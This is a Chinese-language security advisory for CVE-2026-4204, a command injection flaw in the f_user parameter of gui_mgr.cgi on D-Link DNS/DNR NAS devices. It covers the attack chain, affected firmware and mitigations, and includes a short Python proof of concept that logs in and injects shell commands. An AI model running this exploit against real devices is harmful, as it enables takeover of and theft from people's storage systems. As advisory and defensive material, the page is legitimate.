IPBUF安全漏洞报告
English
CVE-2026-4204 CVSS 6.3 中危

D-Link DNS系列多款产品CGI接口命令注入漏洞(CVE-2026-4204)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4204
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

命令注入CVE-2026-4204D-LinkNASCGI远程代码执行DNS系列网络存储设备

漏洞概述

D-Link DNS系列多款网络存储(NAS)产品存在命令注入漏洞。该漏洞源于cgi-bin/gui_mgr.cgi文件中的多个CGI函数(cgi_myfavorite_add、cgi_myfavorite_set、cgi_myfavorite_del、cgi_myfavorite_set_sort_info、cgi_myfavorite_remove_apkg、cgi_myfavorite_compare_apkg、cgi_mycloud_auto_downlaod)对用户提供的f_user参数缺乏充分的输入验证。攻击者可以通过构造恶意参数值,在目标设备上注入并执行任意系统命令。由于该漏洞可通过网络远程利用,且只需低权限认证即可实施攻击,因此具有较高的实际威胁性。受影响产品涵盖从家庭到中小企业的多款NAS设备,漏洞披露时相关固件更新尚未发布。

技术细节

该漏洞为典型的命令注入(Command Injection)类型,存在于D-Link DNS系列NAS产品的Web管理界面CGI程序中。漏洞点位于/cgi-bin/gui_mgr.cgi文件的多个myfavorite相关函数中,其中f_user参数直接被传递给系统命令执行函数而未进行安全过滤。攻击者通过在f_user参数中注入分号、管道符等Shell元字符,可以构造恶意命令并以设备root权限执行。攻击者首先需要认证进入系统,然后通过HTTP请求向目标设备的CGI端点发送包含恶意载荷的请求。成功利用后可获取设备完全控制权,执行任意命令、安装后门或窃取存储数据。由于设备通常暴露于网络边界,此漏洞可被蠕虫或恶意软件利用进行大规模传播。

攻击链分析

STEP 1
步骤1
攻击者发现目标D-Link NAS设备并识别其Web管理界面
STEP 2
步骤2
使用低权限凭据登录设备管理后台
STEP 3
步骤3
构造包含Shell命令注入载荷的HTTP请求,将恶意命令通过f_user参数注入
STEP 4
步骤4
向/cgi-bin/gui_mgr.cgi发送恶意请求,触发漏洞函数执行注入的命令
STEP 5
步骤5
以设备root权限执行注入的命令,获取系统完全控制权
STEP 6
步骤6
植入后门、窃取数据或进一步横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-4204 PoC - D-Link DNS series Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET = "http://target-ip" USERNAME = "admin" PASSWORD = "admin" def exploit(target, username, password, cmd="id"): """Execute command via CVE-2026-4204""" session = requests.Session() # Login to get session login_data = { "username": username, "password": password } session.post(f"{target}/cgi-bin/gui_mgr.cgi", data=login_data) # Exploit command injection via f_user parameter # Inject command via shell metacharacters injected_cmd = f";{cmd}" exploit_data = { "f_user": injected_cmd, "func": "cgi_myfavorite_add" # or other affected functions } try: response = session.post( f"{target}/cgi-bin/gui_mgr.cgi", data=exploit_data, timeout=10 ) return response.text except requests.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) > 1: cmd = sys.argv[1] else: cmd = "id" print(exploit(TARGET, USERNAME, PASSWORD, cmd))

影响范围

D-Link DNS-120 固件版本 <= 20260205
D-Link DNR-202L 固件版本 <= 20260205
D-Link DNS-315L 固件版本 <= 20260205
D-Link DNS-320/DNS-320L/DNS-320LW 固件版本 <= 20260205
D-Link DNS-321 固件版本 <= 20260205
D-Link DNR-322L 固件版本 <= 20260205
D-Link DNS-323/DNS-325/DNS-326 固件版本 <= 20260205
D-Link DNS-327L/DNR-326 固件版本 <= 20260205
D-Link DNS-340L/DNS-343/DNS-345 固件版本 <= 20260205
D-Link DNS-726-4 固件版本 <= 20260205
D-Link DNS-1100-4/DNS-1200-05/DNS-1550-04 固件版本 <= 20260205

防御指南

临时缓解措施
在官方补丁发布前,建议通过防火墙或ACL规则限制对设备Web管理界面(通常为80/443端口)的访问,仅允许受信任的管理IP地址访问。同时建议将设备管理界面暴露于内网而非公网,并定期检查设备日志是否存在异常的CGI请求。对于必须远程管理的场景,应通过VPN隧道建立安全连接后再访问管理界面。此外,可考虑暂时禁用非必要的CGI功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表